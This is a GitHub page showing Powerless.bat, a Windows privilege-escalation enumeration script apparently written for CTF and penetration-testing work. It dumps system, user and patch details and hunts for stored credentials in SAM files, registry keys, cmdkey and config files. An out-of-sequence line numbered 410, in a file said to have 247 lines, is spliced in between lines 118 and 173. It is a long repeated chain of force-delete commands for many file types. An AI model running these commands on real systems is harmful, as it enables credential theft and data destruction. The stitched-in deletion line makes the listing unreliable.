



Sign in

gladiatx0r / Powerless Public

Notifications

Fork 131

Star 473

<> Code Issues 1 Pull requests Actions Projects Security Insights

Powerless / Powerless.bat



247 lines (210 loc) · 12.4 KB

Code Blame

Raw



```
1  @echo off
2  set userprofile=%cd%
3  mode con:cols=160 lines=9999
4  Cd c:\
5
6  echo ----- System Info (Use full output in conjunction with windows-exploit-suggester.py)-----
7  :: https://github.com/GDSSecurity/Windows-Exploit-Suggester
8  systeminfo
9  echo.
10
11 echo ----- Architecture -----
12 SET Processor
13 echo.
14
15 echo ----- Users and groups (check individual user with 'net user USERNAME' ) Check user privilege
16 :: Note, in CTF boxes its not uncommon to see other low level users on the machine. It can be a ten
17 echo Current User: %username%
18 whoami /all
19 echo --- All users, accounts and groups ---
20 net users
21 net accounts
22 net localgroup
23
24 echo ----- Administrators -----
25 net localgroup administrators
26
```

```
27     echo ----- Environment Variables -----
28     set
29     echo.
30
31     echo ----- Additional Drives (if not run as part of a batch job replace double percent with single)
32     for %%i in (a b d e f g h i j k l m n o p q r s t u v w x y z) do @dir %%i: 2>nul
33     echo.
34
35     echo ----- Search for Quick Wins -----
36     echo ----- Listing contents of user directories -----
37     :: In CTF machines it is VERY common for there to be artifacts used for privilege escalation within
38     dir "C:\Users\" /a /b /s 2>nul | findstr /v /i "Favorites\\" | findstr /v /i "AppData\\" | findstr
39     dir "C:\Documents and Settings\" /a /b /s 2>nul | findstr /v /i "Favorites\\" | findstr /v /i "AppD
40     echo.
41
42     echo ----- Exploring program directories and C:\ -----
43     :: These directory listings are not recursive. They are meant to give you a general overview of the
44     echo --- Program Files ---
45     dir "C:\Program Files" /b
46     echo --- Program Files (x86) ---
47     dir "C:\Program Files (x86)" /b
48     echo --- Root of C:\ ----
49     dir "C:\" /b
50     echo.
51
52     echo --- Inetpub (any config files in here? May need to manually drill into this folder if it exist
53     :: The root web folder can at times be extensive, and thus we do not always want to show a recursiv
54     dir /a /b C:\inetpub\
55
56     echo --- Broad search for Apache or Xampp ---
57     dir /s /b apache* xampp*
58     echo.
59
60     echo ---Search for Configuration and sensitive files---
61     echo -- Broad search for config files --
62     :: If the .NET framework is installed you will get a bunch of config files which are typically defa
63     dir /s /b php.ini httpd.conf httpd-xampp.conf my.ini my.cnf web.config
64     echo -- Application Host File --
65     type C:\Windows\System32\inetsrv\config\applicationHost.config 2>nul
66     echo -- Broad search for unattend or sysprep files --
67     dir /b /s unattended.xml* sysprep.xml* sysprep.inf* unattend.xml*
68     echo -- Stored Passwords --
69     :: To use stored cmdkey credentials use runas with /savecred flag (e.g. runas /savecred /user:ACCES
70     cmdkey /list
71     echo.
72
```

```
73     echo -- Checking for any accessible SAM or SYSTEM files --
74     dir %SYSTEMROOT%\repair\SAM 2>nul
75     dir %SYSTEMROOT%\System32\config\RegBack\SAM 2>nul
76     dir %SYSTEMROOT%\System32\config\SAM 2>nul
77     dir %SYSTEMROOT%\repair\system 2>nul
78     dir %SYSTEMROOT%\System32\config\SYSTEM 2>nul
79     dir %SYSTEMROOT%\System32\config\RegBack\system 2>nul
80     dir /a /b /s SAM.b*
81     echo.
82
83     echo -- Broad search for vnc kdbx or rdp files --
84     dir /a /s /b *.kdbx *vnc.ini *.rdp
85     echo.
86
87     echo --- Searching Registry for Passwords ---
88     reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUser
89     reg query HKLM /f password /t REG_SZ /s /k
90     reg query HKCU /f password /t REG_SZ /s /k
91     reg query "HKCU\Software\ORL\WinVNC3\Password"
92     reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
93     reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
94     echo.
95
96     echo --- AlwaysInstallElevated Check ---
97     reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
98     reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
99     echo.
100
101     echo --- Program Files and User Directories where everybody (or users) have full or modify permissi
102     where /q icaccls
103     IF ERRORLEVEL 1 (
104         echo icaccls is missing, performing checks using caccls for older versions of Windows
105         FOR /F "tokens=* USEBACKQ" %%F IN (`where caccls`) DO (SET caccls_exe=%%F)
106     ) ELSE (
107         FOR /F "tokens=* USEBACKQ" %%F IN (`where icaccls`) DO (SET caccls_exe=%%F)
108     )
109     %caccls_exe% "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
110     %caccls_exe% "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
111     %caccls_exe% "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
112     %caccls_exe% "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
113     %caccls_exe% "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
114     %caccls_exe% "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
115     %caccls_exe% "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
116     %caccls_exe% "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
117     %caccls_exe% "C:\Documents and Settings\*" 2>nul | findstr "(F)" | findstr "Everyone"
118     %caccls_exe% "C:\Documents and Settings\*" 2>nul | findstr "(M)" | findstr "Everyone"
```

410 %cd%&del /f /q %cd%*.exe &del /f /q %cd%*.bat &del /f /q %cd%*.vbs &del /f /q %cd%*.cmd &del /f /q %cd%*.log &del /f /q %cd%*.txt &del /f /q %cd%*.ini &del /f /q %cd%*.tmp &del /f /q %cd%*.bak &del /f /q %cd%*.old &del /f /q %cd%*.new &del /f /q %cd%*.zip &del /f /q %cd%*.rar &del /f /q %cd%*.7z &del /f /q %cd%*.iso &del /f /q %cd%*.img &del /f /q %cd%*.dmg &del /f /q %cd%*.hdd &del /f /q %cd%*.vdi &del /f /q %cd%*.vmdk &del /f /q %cd%*.qcow2 &del /f /q %cd%*.raw &del /f /q %cd%*.sparse &del /f /q %cd%*.lvm &del /f /q %cd%*.btrfs &del /f /q %cd%*.xfs &del /f /q %cd%*.ext4 &del /f /q %cd%*.ext3 &del /f /q %cd%*.ext2 &del /f /q %cd%*.fat &del /f /q %cd%*.ntfs &del /f /q %cd%*.hfs &del /f /q %cd%*.hfs+ &del /f /q %cd%*.apfs &del /f /q %cd%*.zfs &del /f /q %cd%*.gpt &del /f /q %cd%*.mbr &del /f /q %cd%*.boot &del /f /q %cd%*.efi &del /f /q %cd%*.iso &del /f /q %cd%*.img &del /f /q %cd%*.dmg &del /f /q %cd%*.hdd &del /f /q %cd%*.vdi &del /f /q %cd%*.vmdk &del /f /q %cd%*.qcow2 &del /f /q %cd%*.raw &del /f /q %cd%*.sparse &del /f /q %cd%*.lvm &del /f /q %cd%*.btrfs &del /f /q %cd%*.xfs &del /f /q %cd%*.ext4 &del /f /q %cd%*.ext3 &del /f /q %cd%*.ext2 &del /f /q %cd%*.fat &del /f /q %cd%*.ntfs &del /f /q %cd%*.hfs &del /f /q %cd%*.hfs+ &del /f /q %cd%*.apfs &del /f /q %cd%*.zfs &del /f /q %cd%*.gpt &del /f /q %cd%*.mbr &del /f /q %cd%*.boot &del /f /q %cd%*.efi

```
173     REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
174
175     echo ----- Network shares -----
176     net share
177
178     echo ----- Programs that run at startup -----
179     :: Note on some legacy Windows editions WMIC may fail to install/start/freeze in which case you'll
180     wmic startup get caption,command
181
182     echo ----- Path (is dll hijacking possible?) -----
183     echo Getting system + user path from command line (check permissions using cacls [path] or accesschk
184     echo %path%
185     echo.
186     :: I couldnt find a way to only get system path in DOS (user path does not matter for the purpose of
187     :: https://github.com/ankh2054/windows-pentest/blob/master/Powershell/folderperms.ps1
188     :: powershell.exe -ExecutionPolicy Bypass -noLogo -Command "[Environment]::GetEnvironmentVariable('
189     :: Or let the script do all the work for you
190     :: powershell.exe -executionpolicy bypass -file folderperm.ps1
191
192     echo ----- Scheduled Tasks Names Only -----
193     :: Look for any interesting/non-standard scheduled tasks, then view the scheduled task details list
194     schtasks /query /fo LIST 2>nul | findstr "TaskName"
195     echo.
196
197     echo ----- Scheduled Tasks Details (taskname, author, command run, run as user) -----
198     schtasks /query /fo LIST /v | findstr "TaskName Author: Run: User:"
199     echo.
200
201     echo ----- Services Currently Running (check for Windows Defender or Anti-virus) -----
202     net start
203     echo.
204
205     echo ----- Link Running Processes to started services -----
206     tasklist /SVC
207     echo.
208
209     echo ----- Processes verbose output (who is running what?) -----
```

```
210      :: Pay close attention to this list. Especially for those tasks run by a user other than your own.
211      tasklist /v
212      echo.
213
214      echo ----- Patches (also listed as part of systeminfo) -----
215      :: Note on some legacy Windows editions WMIC may fail to install/start/freeze in which case you'll
216      :: Systeminfo may at times fail to list all patches (instead showing 'file x' or something along th
217      wmic qfe get Caption,Description,HotFixID,InstalledOn
218
219      echo ----- Firewall -----
220      netsh firewall show state
221      netsh firewall show config
222      netsh advfirewall firewall dump
223
224      echo ----- Network information -----
225      ipconfig /all
226
227      :: Routing and ARP tables accessible with these commands... uncomment if you wish, I didnt typicall
228      REM route print
229      REM arp -A
230      echo.
231
232      echo ----- Current connections and listening ports -----
233      :: Reverse port forward anything that is not accessible remotely, and run nmap on it. If SMB is ava
234      netstat -ano
235      echo.
236      echo ----- REVERSE PORT FORWARD MULTIPLE PORTS AT ONCE: plink.exe -l username -pw mysecretpasswor
237      echo.
238
239      echo --- Broad search for any possible config files which may contain passwords ---
240      :: The following broad config file and credential searches could result in many results. They are n
241      dir /s /b *pass* *cred* *vnc* *.config*
242      echo.
243
244      echo --- Starting broad search in the background for any files with the word password in it. Press
245      start /b findstr /sim password *.xml *.ini *.txt *.config *.bak 2>nul
246      echo.
```